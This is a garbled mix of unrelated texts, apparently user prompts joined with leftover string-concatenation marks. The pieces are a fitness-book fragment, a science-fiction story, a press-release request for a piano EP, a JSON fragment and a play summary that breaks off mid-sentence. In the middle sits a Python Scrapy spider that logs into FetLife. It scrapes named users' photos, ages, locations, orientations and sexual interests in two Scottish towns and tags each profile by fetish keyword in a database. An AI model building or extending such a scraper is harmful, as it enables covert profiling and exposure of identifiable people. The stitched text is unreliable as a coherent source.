on where you live, expect to pay anywhere from $75 to $200 per hour for a great personal trainer. \nFrom Chris and Jeremy \nFinally, we also want to drive home the point about strength exercises that are bad for you. There are a few that you just shouldn’t be doing. Even though we don’t have room to show you the things you should do instead, we wanted to give you a sharp warning about the things you should not do. We include these “bad exercises” here so you don’t hurt yourself.\nBEHIND THE HEAD LAT PULLDOWNS \nLat pull down alternative' +"ENTRY 2 \n\nVal's Early Life\n\n\\*\\*\n\nStaying alive, I suppose you’d say that was my preoccupation, the Co-Op may as well have been my mother and father, and the options were that, or something worse. And spending my first few years in a firetrap tenement of a human district at Three Points East, I knew what “worse” looked like. \n\nSo you take ratings. Wash, rinse, repeat. I was always good at math, and fixing things, and managed to pick up a couple of local languages, like Tradetongue and Novayan - most of all I knew what streets to stay off of on my walk back from the market, and what not to wear in case I couldn’t stay off those streets. \n\nThen after Mama died, and we moved up to Perimeter One (where my grandmother lived), things changed. The big space station was lonely and austere much of the time but it was safe. It’s a lonely childhood but it’s not like you know better, because pretty much any other human children, doing the same thing, taking their Early ratings, sitting in the atrium by themselves while mom’s giving out tools at the station depot. But sometimes during Landing Day or Mars Day or Yuri’s Night it turns into a weeklong party, an inversion festival if you will. \n\nAnd that’s how I found out, that whatever station I happened to be at, there were other parts of the station. On Perimeter One, I would walk, and take the freight lift down to the Nadiran quarter. There it was clean, and quiet, and everybody usually just went about their thing. I strained to listen to their language and learned quickly to duck behind a pylon before I was seen. They leaned over in their dark robes, speaking barely above a whisper, making deals, and after straining my eyes I learned to pick up a bit of the hand signs they used in their haggling. \n\nI rated onto my first Massive Container Transport at 16, as a trainee. That’s when people started calling me “Sparks,” not once in that whole trip did anyone remember my name. I thought stationside would be different with cred on my stick, no such luck.\n\nI tried to hook up in port a few times, wanted to see what all the fuss was about, turns out alcohol can make anything happen. Mostly though I just didn’t know how to pass the time after the depots and library branches were closed. Didn’t know what to do with company anyway, so mostly in port I just laid low. \n\nBut… I just… nothing ever really happened, not at any stop, year after year; somehow it’s like I was standing on the sidelines, my syndics all shuffled off to their families and friends. None of that had happened for me, somehow whatever it was when we were on the ship, disappeared in port. \n\nSo at 20, when I had the chance to rate in ansible and work a ringship between the Destruction system and the Port West system, I took it. That’s why I became an intersystem spacer, because I was already out of sync anyway, had no family, had no one. Time loss wouldn’t mean a thing to me, nobody knew I was alive. Some Light Chasers get addicted to the feeling of… when I get back, how badly will shit have changed. Some of us just love that every time we get back, the food’s better than whatever we left behind. A few months to us, but meanwhile, downworld they’ve had years to get their shit together. \n\nNot like any sensible person with a family would ever make a life of this. It’s not just a way to run away from your problems, nobody downworld wants to deal with it. One or two trips, that’s one thing: especially when you’re young. But you pick the life of the Light Chaser, for any length of time, because you got no family to begin with, and you don’t want one.\n\nMay as well see the next system over, right? Get me further away from the hole in the wall called Three Points East. I never thought much about the future. That had something to do with settling down in the communes and raising seaweed or something, whenever anyone talks about “the future of the Co-Op” they’re always talking about the people raising rugrats on AgCom 5 or something. People on the ground, they think about the future. For me, the future is happening whether I want to think about it or not. No time to think about it.\n\nAs a kid I was good at just a few things, staying out of the way and studying, and fending for myself, and not complaining. Above all, don’t complain. They won’t hear it. If you think this life ain’t much then it’s still an RCH better than joining a gang on Three Points East, or selling your body, or being a drug mule on Port West. If you’re a smart kid then this is your best chance at an actual life. Maybe even you put your feet dirtside and have a family. Your grandparents broke their bodies as asteroid miners to give you this, and shed blood to give you this. Your great grandfather or great grandmother stayed in a crimp on some hellhole station, just to get abducted away by corporate sleeper ship and cross light years in cold storage. All so you could have this, in relative safety, the routines are what they are, and so your own children (figuratively speaking) could do better still. Could always be much worse. \n\nYou could be on Earth. And in my years since, I learned there are places even worse, that make Earth look like a garden spot. Suffice it to say, seeing what I’ve seen since, I might take Earth over any of them.\nENTRY 3\n\nSo the thing about long distance transport is that it’s one of the best places to be a trainee. It’s got the most opportunities for rating and cross-training. You’re probably not gonna die too messily. If it’s a Massive Container Transport going between systems, you see the most people, and it’s still one of the least cramped of the ships in ItSyn’s complement, let alone the Co-Op’s as a whole. (An MCT is a belly-lander, detachable from its modular ring drive, but that’s beside the point.) This make and model of MCT, a second-generation, is the newest and cleanest and has the best filtration, and the most space. On a smaller ship, you’re smelling each other’s sweaty asscracks all day. MCTs on the other hand just kind of always smell like hand cleaner and engine grease. MCTs are the smoothest ride, the newest components. \nThe Intersystem Transport Syndicate has the best facilities, the best security. You can license your own ship and run a commercial service under the auspices of the Co-Op, sure, but on a lot of things you’re just gonna be on your own. And that’s how lots of people like it.\nBut you gotta get from here to there, and if you’re from Three Points East like me, then the extra cred working for ItSyn is how you get there. The MCTs have the best facilities, with two big hab rings for in-system (longest parts of a trip). Before we make jump between systems, you make sure you got your belongings off because we’re going to be leaving the hab rings behind. On we go into the drive frame, we lock in, on goes the A-drive and control units, and then the pre-jump checks before spin up, and that’s a longer procedure than I’m going to bother to walk you through, but everything’s got to be snug and everything’s got to be balanced. Then you take your meds and get into your liquid filled intersystem crash couches. A jump takes absolutely precision usage of fuel, more than any other maneuver, because you don’t want to overshoot your target and plow into a star. Takes a big thrust to spin up, the hardest you’ll pull Gs on any trip short of leaving dirtside. I know you were hoping for some kind of warp drive technobabble, or to hear about monsters or some bullshit. Sorry I can’t make it a better story.\n\nThat’s the hardest part of a jump. It’s not even the spin-up. That happens fast, and smooth. You feel nothing. Nothing even shifts as the ripple in spacetime moves around you and you push through it. Some of my syndics called that part hitting the halfpipe, don’t know where that’s even from.\nJust get in, sit down, shut up, and hang on.\n\\*\\*\nThe best part of an MCT is the privacy. The newer MCT habs have “soundproof” individual compartments with sliding doors, so if your habmates are like mine and always having visitors over, then you’re going to be grateful for that. If the visitor is a certain Novayan, then it’s probably not going to be enough.\nThat Novayan was one K’Ratha, an FNG working in the hold, better known for his sack skills than anything else. He’d come aboard with some other Novayans a month back, but none were as popular as him (there were a couple of quieter males and a grumpy female). K’Ratha made the rounds in my hab multiple times on each leg of the trip, and this was going to be a long one. Apparently he was quite in demand, and the soundproofing wasn’t enough. Ended up just laying with my noise-cancelers on and the pillow over my head. This was going to be a long trip.\nWhen I finally saw him in line in the mess, there was another Novayan with him, and overhearing the conversation between them, I had the impression that our K’Ratha thought his ears and whiskers were gonna buy him some automatic cred on the lanes. The other Novayan – bigger, with broader shoulders - crossed his arms and glowered down at K’Ratha, shaking his head. “It’s rude, K’Ratha,” he said, his voice a shade deeper than the other’s, “To speak in Novayan in front of the humans. Why do you have to be such a walking stereotype, ay?”\n“Rreh. Thanna rrala the,” I said.\nThe bigger Novayan reached up and smacked the back of K’Ratha’s head.\n“I apologize for my brother,” he said, bowing his head slightly.\nNow, I’d never seen this Novayan before, despite the fact that he’d come on with K’Ratha, and was surprised at his aura of general formality.\nThe two Novayans looked similar, bigger though this one was. They both had coppery fur with dark stripes and swirls, and black noses.\nThe patches on the bigger Novayan’s flight suit read NAV SPEC III, and he had a bunch more additional rating patches on his flight suit and various fam candy, and his name patch read R’Kesh.\nI shook my head, and kept moving forward in the line to get my tray, thinking on whatever deal the Co-Op must’ve made with Seven Brothers Aqua to keep this many Novayan crewmates in this much space-farmed salmon.\n\n\\*\\*" +'can you see why it isn\'t updating? def login(self, response):\n """Log in using the form."""\n authenticity\\_tokens = response.xpath(\'//\\*[@name="authenticity\\_token"]/@value\').extract\\_first()\n csrf\\_token = response.xpath("//\\*[@name=\'csrf-token\']/@content").extract\\_first()\n\n otp\\_attempt = response.xpath(\'//\\*[@name="user[otp\\_attempt]"]/@value\').extract\\_first()\n locale = response.xpath(\'//\\*[@name="user[locale]"]/@value\').extract\\_first()\n blank = \'\'\n print(\'\')\n print(authenticity\\_tokens)\n print(otp\\_attempt)\n print(locale)\n print(\'\')\n yield scrapy.FormRequest.from\\_response(\n response=response,\n formdata={\n \'authenticity\\_token\': authenticity\\_tokens,\n \'user[otp\\_attempt]\': otp\\_attempt,\n \'user[locale]\': locale,\n \'user[login]\': USERNAME,\n \'user[password]\': PASSWORD,\n \'utf8\': \'✓\'\n },\n callback=self.initialized,\n )\n\n def initialized(self, response):\n """Parse the response after logging in."""\n real\\_start\\_urls = [\n "https://fetlife.com/p/united-kingdom/glasgow/kinksters",\n "https://fetlife.com/p/united-kingdom/east-ayrshire/kilmarnock/kinksters",\n \n ]\n\n for url in real\\_start\\_urls:\n yield response.follow(url, self.parse)\n\n def parse(self, response):\n print("Parsing")\n """Parse start requests after login."""\n client = pymongo.MongoClient()\n db = client[\'scraped\\_data\']\n collection = db[\'Fetlife\']\n\n links = response.xpath("//div[contains(@class, \'lh-copy\')]//span[contains(text(), \'F \')]//preceding-sibling::a/@href").getall()\n for link in links:\n data = {\n \'url\': link,\n \'parsed\': False,\n }\n result = collection.find\\_one({\'url\': link})\n if result is None:\n collection.insert\\_one(data)\n yield response.follow(link, self.parse\\_page)\n elif not result[\'parsed\']:\n yield response.follow(link, self.parse\\_page)\n def parse\\_page(self, response):\n client = pymongo.MongoClient()\n db = client[\'scraped\\_data\']\n collection = db[\'pages\']\n\n group1 = ""\n group2 = ""\n\n # Get the string from the XPath expression\n string = response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/h1/span[2]/text()\').get()\n\n if string:\n pattern = r\'^(\\D+)(\\d+)\\s\'\n match = re.match(pattern, string)\n if match:\n group1 = match.group(1)\n group2 = match.group(2)\n print(group1, group2)\n else:\n print("No match found")\n else:\n print("String is None")\n\n data = {\n \'url\': response.url,\n \'Profile Image\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/aside[1]/div/div/a/img/@src\').get(),\n \'Username\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/h1/span[1]/text()\').get(),\n \'Age\': group1,\n \'Gender\': group2,\n \'City 1 URL\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/p/span[1]/a/@href\').get(),\n \'City 1 Text\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/p/span[1]/a/text()\').get(),\n \'Area URL\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/p/span[2]/a/@href\').get(),\n \'Area Text\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/p/span[2]/a/text()\').get(),\n \'Country URL\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/p/span[3]/a/@href\').get(),\n \'Country Text\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[1]/div[2]/p/span[3]/a/text()\').get(),\n \'Roles\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[3]/div[5]/div[2]/div[1]/div[2]/div[2]/text()\').get(),\n \'Orientation\': response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[3]/div[5]/div[2]/div[2]/div[2]/div[2]/span/text()\').get(),\n \'Active\' : response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[3]/div[5]/div[2]/div[3]/div[2]/div[2]/text()\').get(),\n \'Looking For\' : response.xpath(\'/html/body/div[3]/div/div[2]/div/header[1]/div/div[1]/main/div/div[3]/div[5]/div[2]/div[4]/div[2]/div[2]/text()\').get(),\n \'About\' : response.xpath(\'/html/body/div[3]/div/div[2]/div/div[2]/div/main/div/div[1]/div/text()\').get(),\n \'Into\' : response.xpath(\'/html/body/div[3]/div/div[2]/div/div[2]/div/main/div/div[4]/div/div/div/text()\').get(),\n \'Groups\' : response.xpath(\'/html/body/div[3]/div/div[2]/div/div[2]/div/aside[1]/div/div[3]/text()\').get()\n }\n\n # Define a list of strings to search for\n bbc\\_search\\_strings = [\'bbc\', \'black cock\', \'black male\', \'blacks\']\n\n # Initialize bbc\\_search\\_found to False\n bbc\\_search\\_found = False\n\n # Check if any of the strings exist in the data dictionary\n for search\\_string in bbc\\_search\\_strings:\n if any(search\\_string.lower() in str(value).lower() for value in data.values()):\n # If the string is found, add a column to the MongoDB collection\n bbc\\_search\\_found = True\n break # Exit the loop if the string is found\n\n # Define a list of strings to search for\n breed\\_search\\_strings = [\'breed\', \'bred\', \'breeding\', \'pregnant\', \'impregnated\']\n\n # Initialize bbc\\_search\\_found to False\n breed\\_search\\_found = False\n\n # Check if any of the strings exist in the data dictionary\n for search\\_string in breed\\_search\\_strings:\n if any(search\\_string.lower() in str(value).lower() for value in data.values()):\n # If the string is found, add a column to the MongoDB collection\n breed\\_search\\_found = True\n break # Exit the loop if the string is found\n # Define a list of strings to search for\n cleanup\\_search\\_strings = [\'cleanup\', \'clean-up\', \'clean up\', \'cleaning up\', \'cleans up\', \'clean creampie\', \'cleans creampie\', \'lick creampie\', \' licks creampie\', \' licking creampie\', \'eat creampie\', \' eats creampie\', \'eating creampie\', \'suck creampie\', \'sucks creampie\', \'sucking creampie\', \'creampie eat\', \'creampie eating\', \'creampie lick\', \'creampie licking\']\n\n # Initialize bbc\\_search\\_found to False\n cleanup\\_search\\_found = False\n \n # Check if any of the strings exist in the data dictionary\n for search\\_string in cleanup\\_search\\_strings:\n if any(search\\_string.lower() in str(value).lower() for value in data.values()):\n # If the string is found, add a column to the MongoDB collection\n cleanup\\_search\\_found = True\n break # Exit the loop if the string is found\n # Define a list of strings to search for\n cheat\\_search\\_strings = [\'cheat\', \'cheats\', \'cheating\', \'cheated\', \'unfaithful\', \'infidelity\', \'cheater\']\n\n # Initialize bbc\\_search\\_found to False\n cheat\\_search\\_found = False\n\n # Check if any of the strings exist in the data dictionary\n for search\\_string in cheat\\_search\\_strings:\n if any(search\\_string.lower() in str(value).lower() for value in data.values()):\n # If the string is found, add a column to the MongoDB collection\n cheat\\_search\\_found = True\n break # Exit the loop if the string is found\n # Define a list of strings to search for\n cuckold\\_search\\_strings = [\'cuck\', \'cucks\', \'cuckold\', \' cuckolds\', \'cuckolding\', \'corno\']\n\n # Initialize bbc\\_search\\_found to False\n cuckold\\_search\\_found = False\n \n # Check if any of the strings exist in the data dictionary\n for search\\_string in cuckold\\_search\\_strings:\n if any(search\\_string.lower() in str(value).lower() for value in data.values()):\n # If the string is found, add a column to the MongoDB collection\n cuckold\\_search\\_found = True\n break # Exit the loop if the string is found\n\n collection.update\\_one(\n {\'url\': response.url},\n {\'$set\': {\n \'Profile Image\': data[\'Profile Image\'],\n \'Username\': data[\'Username\'],\n \'Age\': data[\'Age\'],\n \'Gender\': data[\'Gender\'],\n \'City 1 URL\': data[\'City 1 URL\'],\n \'City 1 Text\': data[\'City 1 Text\'],\n \'Area URL\': data[\'Area URL\'],\n \'Area Text\': data[\'Area Text\'],\n \'Country URL\': data[\'Country URL\'],\n \'Country Text\': data[\'Country Text\'],\n \'Roles\': data[\'Roles\'],\n \'Orientation\': data[\'Orientation\'],\n \'Active\': data[\'Active\'],\n \'Looking For\': data[\'Looking For\'],\n \'About\': data[\'About\'],\n \'Into\': data[\'Into\'],\n \'Groups\': data[\'Groups\'],\n \'parsed\': True,\n \'Search BBC\': bbc\\_search\\_found,\n \'Search Breed\': breed\\_search\\_found,\n \'Search Cheat\': cheat\\_search\\_found,\n \'Search Cleanup\': cleanup\\_search\\_found,\n \'Search Cuckold\': cuckold\\_search\\_found,\n\n }},\n upsert=True\n )' +'Hi I have a draft press for Jean-Michel Blais\' new album here: \n\n\\*\\*UNDER EMBARGO UNTIL XX\\*\\*\nMERCURY KX ANNOUNCES JEAN-MICHEL BLAIS\' NEW EP "SERENADES"\nMontreal-based post-classical pianist and composer Jean-Michel Blais is pleased to announce his new EP “Serenades”, out March 10th on Mercury KX. The EP is the solo piano companion to Blais’ highly successful and loved album “Aubades”, released this past February.\n“Serenades” is the nocturnal companion to the brightness of “Aubades”, and features intimate and atmospheric solo piano versions of key tracks from the album, including “Amour”, “Ouessant”, and “Murmures”. It also features three new tracks: “117 (Bach)”, “La Chute”, and “Morning (Improv)”. “La Chute” (“The Fall”) was especially composed for the left hand, due to a right arm injury Blais suffered after falling on ice before a performance. This inspired him to write this piece particularly for the left hand. The first single “Ouessant” (Piano) is a melancholic slow wander through luminous and soothing solo piano soundscapes.\n“Serenades” is a testament to Blais’ musical prowess and ability to create captivating and moving musical landscapes. It’s sure to be a stunning addition to Blais’ already impressive discography.\n\n---\n\nI have written it based on the following information:\n\nJEAN-MICHEL BLAIS DECCA BIO:\nJean-Michel Blais - Biography\n \nJean-Michel Blais is a post-classical pianist and composer living in Montreal, Canada.\n \nBlais grew up in a rural French Catholic town in Quebec and began tinkering on his family\'s organ at age 9. By 11, he began writing original compositions and taking piano lessons. A natural talent, by 17 he was invited to the Trois-Rivieres Music Conservatory and began training as a classical pianist. The constraints of formal training began to wear on Blais who started to gravitate towards experimentation and improvisation. He eventually left the school and put aside his musical path.\n \nIn his mid-20s, Blais traveled to Europe and Latin America, studied special education, liberal arts and psychology, while moving to Berlin for about a year and six months in Buenos Aires, before settling in Montreal where he rediscovered his love for composing and performing, which caught the ear of Toronto-based indie label Arts & Crafts.\n \nBlais’ debut album, Il, was written and recorded in his apartment over two years of daily improvisations. It was released on April 8, 2016, and amassed over 50 million streams worldwide, reaching #1 on Billboard’s Classical chart in Canada 14 times, earning a Polaris Music Prize long list nomination and a spot on Time Magazine’s Top ten albums of 2016.\n \nThe following year, Blais performed at the prestigious Red Bull Music Academy in collaboration with Grammy-nominated producer CFCF. This spurred a partnership between the two musicians that yielded Cascades, a collaborative EP released on March 15, 2017. The release earned praises for its brave interplay between piano and electronics, including by the likes of Pitchfork and BBC Radio 6.\n \nAfter a year of touring North America and Europe, Blais began working on his sophomore album, Dans ma main. Released on May 11, 2018. Jean-Michel Blais’ Dans ma main is an expansive album of post-classical piano music with strands of electronic detail. Recorded at night in a Steinway & Sons piano shop, Blais blends his classical skill and precise pop sensibility with synthetic accompaniment, which creates unique environments where the piano’s intimacy can be subtly disrupted at any time. Dans ma main earned a Polaris Music Prize short list nomination.\n \nFascinated with the cathartic response of worldwide audiences to his pin-drop performances, Blais considers how music has served as a tool of wellness in his own life: from his early career in special education, to his parents’ use of ambient music to soothe the Tourettic symptoms he’s been suffering from since childhood. On Dans ma main, Jean-Michel calls upon these periods of his life, reimagining a serenity that he previously found only seated at a piano.\n \nIn the spring of 2018, when asked by his landlord to leave his beloved apartment where he recorded his debut album Il, Blais invited friends and family in his bedroom to take part into an intimate series of home concert and recording sessions, which gave birth to his sophomore EP, Eviction sessions, released on Novembre 18, 2018.\n---\nTIMELINE FOR “SERENADES”:\n(8 July - amour (piano) - out already)\n18 Nov: ouessant (piano) - Single 2 (no EP announcement)\n20-29 Jan: Concerts in Toronto, NYC & Quebec - should EP be announced by the 20th?\n3 Feb: EP announcement & la chute (Single 3)\n10 Mar: serenades EP release + yanni (piano) - focus track\n---\n \n \nTRACKLIST FOR “SERENADES”:\n117 (bach)\namour (piano)\nla chute\nmorning (improv)\nflâneur (piano)\nyanni (piano)\nouessant (piano)\nmurmures (piano)\n---\n \n---\n \n---\nJEAN-MICHEL BLAIS PREVIOUS ALBUM “aubades”:\naubades, the new album from post-classical piano icon Jean-Michel Blais, marks the Montreal-born musician’s transition from pianist to composer, as he writes for an ensemble for the first time in his career. Written during the pandemic and following a breakup, Blais has used his distinctive musical voice to create a defiantly uplifting record with glistening instrumental textures and warm major tonalities. The album’s title refers to the “aubade”, a Middle Ages morning love song about lovers separating at daybreak, a dawn serenade.\n \nDespite the difficult global and personal backdrop, Blais described the time writing this album as a “fruitful moment of creativity for me. We started having hares in the park, beautiful butterflies flying everywhere. It was a time of lots of blossoming, and also a moment when I blossomed from being a pianist into a composer.” Musical ideas captured in over 500 recorded piano improvisations were transformed by Blais into 11 compositions performed by a 12-person ensemble. During the composition process, Blais collaborated with Alex Weston, former music assistant to Philip Glass. The musicians were recorded with close-up microphones, creating a richly intimate atmosphere that captures the human behind each instrument, from the mechanics of the woodwind keys to the snap of a double bass string.\n---\nBACKGROUND ARTICLE (ON CLASSIC FM SITE) ON THE HISTORY OF PIECES FOR LEFT HAND PIANO\n \nThe best classical music for piano left hand\n12 August 2014, 12:56 | Updated: 6 January 2017, 14:45\n \nFacebook share Twitter share\nIn celebration of International Left Handers Day, we\'re investigating the top ten pieces of piano music composed specifically for the left hand, as chosen by one-handed piano virtuoso, Nicholas McCarthy.\n \n1. Prelude and Nocturne Op. 9 - Scriabin\n \nAfter injuring his right hand learning some of Liszt\'s more challenging music, Scriabin was forced to re-evaluate his priorities and change the way he composed, shifting the emphasis onto his uninjured left hand. Much of the music he went on to write sounds fiendishly difficult, making the most of the capabilities of his only working hand - but he also composed two pieces for left hand only. After much soul-searching, the result is this, one of Scriabin\'s most beautiful and introspective pieces.\n \n \n \n \n \n2. Piano Concerto for the Left Hand - Ravel\n \nEven before this piece was premiered in 1932, pianist Alfred Cortot had made an arrangement for piano two-hands and orchestra. But Ravel, who wrote the music especially for Austrian pianist Paul Wittgenstein after he lost his arm in the war, forbade the performance of the new arrangement. It\'s not a wonder he was frustrated: before writing the work, he studied Saint-Saëns\' left hand études religiously, absorbing as many of his techniques as possible.\n \n \n \n \n3. Chaconne in D minor - Bach/Brahms\n \nADVERTISING\n \nThere\'s nothing like getting stuck in to some truly meaty Bach keyboard music. So, imagine Clara Schumann\'s frustration when she injured her right hand and could no longer play the music she knew and loved. Luckily, Brahms came to the rescue with this ingenious arrangement of his hypnotic Chaconne in D minor. It may only be played with one hand, but Brahms manages to bring out every one of Bach\'s original voices. Genius.\n \n \n \n \n4. Etude Op. 25 No. 12 \'Ocean\' - Chopin arr. Godowsky\n \nThey\'re known as the most difficult piano pieces in the left-hand repertoire, and after listening to these waves upon waves of notes, it\'s easy to see why. Chopin\'s études - challenging enough at the best of times - have been transformed by Polish composer Godowsky into a series of incredible studies and mind-bending technical exercises, including transferring the technically difficult passages between hands, interweaving separate études to form one individual piece, and transcribing this entire étude for left hand solo.\n \n \n \n5. Three Improvisations - Bridge\n \nEerie and beautiful, these \'improvisations\' by English composer Frank Bridge were written for his friend Douglas Fox, who lost his arm during the First World War. With sparing use of the piano pedals, the heavy bass chords ring out as the left hand glides over the piano\'s upper register.\n \n \n \n \n6. Piano Concerto for Left Hand - Korngold\n \nThe man behind Ravel\'s piano concerto for left hand, Paul Wittgenstein, is really the man to thank when it comes to commissioning music for the left hand. He approached Richard Strauss, Prokofiev, and Hindemith - but it\'s Korngold who stole the show. Wittgenstein was so happy with this work that he commissioned another piece, a suite for 2 violins, cello and piano left-hand, Op. 23.\n \n \n \n \n7. Diversions - Britten\n \nLooking at the score, it\'s hard to believe this explosive piece is written for just one hand. With its cascading quavers and impressive passages jumping across the entire length of the piano, this is the ultimate in left hand piano fireworks - and once again, we have Paul Wittgenstein to thank for its existence.\n \n \n \n \n8. Piano Sonata in C Minor - Reinecke\n \nWhile Reinecke may not be the most high-profile of composers, his Opus 179 sonata has made its mark on the world of left hand piano music. There\'s a reason for that: give this a listen for a healthy dose of bombastic, Romantic piano music.\n \n \n \n9. Six études for the left hand - Saint-Saëns\n \nDespite their sheer brilliance, Saint-Saëns\' piano études are often overlooked. Every movement requires absolute independence for each individual finger, regardless of hand shape or strength. It\'s these pieces Ravel studied so diligently when embarking on his left hand piano concerto, and it\'s easy to see why.\n \n \n \n10. 4 Special Studies - Reger\n \nGerman composer Max Reger brings grace and personality to these cheery piano works, making even the most simple techniques sound impressive. Watch how the left hand trips over the piano with ease, bringing out individual parts across the entire range of the piano.\n---\nKEY INFO ON THE NEW ALBUM:\n \nKEY INFO\n \nnew single ouessant (piano) is a melancholic slow wander through luminous and soothing solo piano soundscapes\nannouncing 10 Jan: sérénades is the solo piano companion EP to the highly-successful and loved album aubades (album of vibrant, sweeping works for chamber ensemble released this past February 2022)\nsérénades is the nocturnal companion to the brightness of aubades\ninspired by Franz Liszt’s solo piano reductions\nfeatures intimate & atmospheric solo piano versions of key tracks from aubades - amour, ouessant, murmures\nfeatures three new tracks - 117 (bach), la chute, morning (improv)\nla chute (‘the fall’) - composed for the left hand due to a right arm injury after falling on ice before a performance; this inspired him to write this piece particularly for left hand\ninfluencer duet campaign to follow for la chute - inviting people to provide their right-hand duet with Jean-Michel\n--\nCould you list some more things I could include?' +'{"uninitvar": {"lines:removed": [-2, -21, -21, -18, -3, -3, 0, -11, -66, -52, -9, 0, -21, -21, -27, 0, 0, -56, -5, -311, -311, -13, -13, -1, -4, -8, -8, -68, -26, 0, 0, 0, 0, 0, -50, -8, -96, -8, 0, -1, -12, -1, -217, -217, -31, -1, -24, -24, -24, -24, -24, -137, -53, -53, -9, 0, 0, 0, -4, -7, -23, -26, 0, 0, -7, 0, -2, -6, -3, 0, 0, 0, 0, -90, -199, 0, -24, -25, 0, 0, 0, -155, -41, -53, -29, -21, -13, -5, -53, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -2, 0, -66, -63, -23, 0, 0, -2, -14, 0, -34, -9, -9, 0, -15, -1, -4, -13, -13, -38, -110, -2, 0, 0, 0, -98, -3, 0, -2, -31, -31, -31, -25, -2, -39, -89, -212, 0, -26, -25, -68, -39, -28, 0, -2, -2, -1, -62, -155, -41, -66, -29, -59, -2, -35, -23, -136, -158, -719, -637, -9, -56, -599, -599, -599, -16, -8, -19, -53, -2, 0, 0, 0, -4, -65, -10, -10, -10, 0, -12, -2, -61, -189, -245, -246, -75, -92, -92, -92, -28, -6, -4, -21, -21, 0, -21, -21, -18, -3, -3, 0, -21, -21, -4, -4, -9, -2, -4, -75, 0, 0, 0, -12, -64, -2, 0, -125, -8, -32, -39, -43, -51, -51, -51, -21, 0, -44, 0, -16, -16, 0, -24, -24, -24, -24, 0, 0, 0, 0, -12, -12, -2, 0, -8, -8, -14, -29, -51, -51, -51, -30, -29, -29, -3, 0, -16, -8, -20, 0, -21, -21, -18, -28, -2, -41, -3, -3, -2, -2, -5, -5, -2, -2, -2, 0, 0, 0, 0, 0, 0, 0, -63, -2, -19, -19, -19, -1, -8, -13, 0, -11, 0, -2, -3, 0, 0, 0, -2, 0, 0, -1508, 0, -22, -5, -37, -25, -7, -1, 0, -6, -29, -24, -8, -2, -110, -11, -21, -21, -3, -3, -2, -18, -1, -54, -16, -40, -40, -40, -2, -4, -3, -1, -1, -1, -5, -170, -15, -15, -10, -10, -11, -11, 0, -1, -151, 0, 0, -44], "lines:added": [2, 39, 39, 9, 3, 3, 14, 26, 76, 25, 10, 2, 35, 35, 26, 0, 0, 56, 4, 420, 420, 136, 136, 1, 7, 39, 8, 100, 133, 0, 0, 0, 0, 0, 50, 8, 100, 8, 0, 2, 9, 1, 143, 143, 73, 1, 71, 71, 71, 71, 71, 6, 94, 94, 11, 0, 0, 0, 5, 1, 19, 13, 0, 0, 1, 0, 4, 44, 9, 0, 0, 0, 0, 173, 176, 3, 28, 1, 0, 0, 0, 71, 42, 185, 15, 16, 19, 5, 51, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 138, 4, 6, 0, 0, 2, 25, 0, 175, 8, 8, 0, 57, 1, 3, 13, 13, 46, 132, 2, 0, 0, 0, 50, 3, 0, 2, 17, 17, 17, 26, 1, 45, 207, 185, 3, 37, 1, 170, 77, 32, 0, 2, 2, 1, 65, 71, 42, 263, 15, 36, 0, 39, 24, 117, 104, 292, 300, 8, 44, 599, 599, 599, 14, 8, 32, 51, 2, 0, 0, 0, 0, 91, 10, 10, 10, 0, 18, 2, 138, 285, 79, 80, 87, 121, 121, 121, 54, 2, 1, 13, 13, 0, 39, 39, 9, 3, 3, 0, 39, 39, 15, 4, 9, 2, 4, 227, 0, 0, 0, 25, 109, 2, 0, 60, 11, 33, 38, 93, 145, 145, 145, 42, 0, 68, 0, 16, 16, 0, 56, 56, 56, 56, 0, 0, 0, 0, 18, 46, 4, 0, 56, 56, 18, 17, 145, 145, 145, 38, 38, 88, 12, 0, 14, 28, 27, 0, 39, 39, 17, 27, 5, 64, 3, 3, 3, 3, 7, 7, 3, 3, 2, 0, 0, 0, 0, 0, 0, 0, 66, 21, 55, 55, 55, 1, 28, 38, 0, 12, 0, 25, 10, 0, 0, 0, 8, 0, 0, 1180, 0, 4, 6, 73, 31, 24, 1, 0, 3, 9, 24, 2, 32, 106, 11, 39, 39, 3, 3, 6, 9, 1, 8, 22, 10, 10, 10, 2, 4, 4, 1, 1, 1, 5, 65, 2, 2, 8, 8, 7, 7, 0, 1, 4, 0, 0, 68],' +'Context:\nAct - I\nThe play opens with worship to Lord Ganesha. Bhagwata comes to the stage. He is a character in the Play and also is the narrator of the play. He seeks blessings from Lord Ganesha for the successful performance of the play. Through his narration, he takes the audience to a place, called as Dharampur and introduces the audience to the king Dharmsheel. Then he puts up some rhetorical questions on incompleteness of man and God; and also on the perfection of a man. During his narration, he introduces two characters who are mutual friends. The first one is Devdutta. He is a sharp minded and highly intellectual person. He has defeated poets and Pandits with his knowledge. He is a son of Brahmin. The second one is Kapila. He is a muscular man. He has a great physical strength and he is a son of Lohar (Black Smith). Both Devdutta and Kapila are in contrast as the former lacks power and strength, the latter lacks knowledge and intellectual. According to the playwright, the head of Devdutta (knowledge) and the body of Kapila (physical strength) accomplish a complete man. The narrator compares their pair to the pair of Ram-Laxman, Luv-Kush and Krishna-Balram. All these are the pairs of great brothers in Hindu mythology.\n\nA character, Actor-1 appears on the stage shouting and running towards Bhagwata. He tells Bhagwata that he has just seen a strange creature that looks like a horse (by face) but speaks like a man. That creature has the head of a horse and the rest of the body of a man. Without paying any heed to his talks, Bhagwata 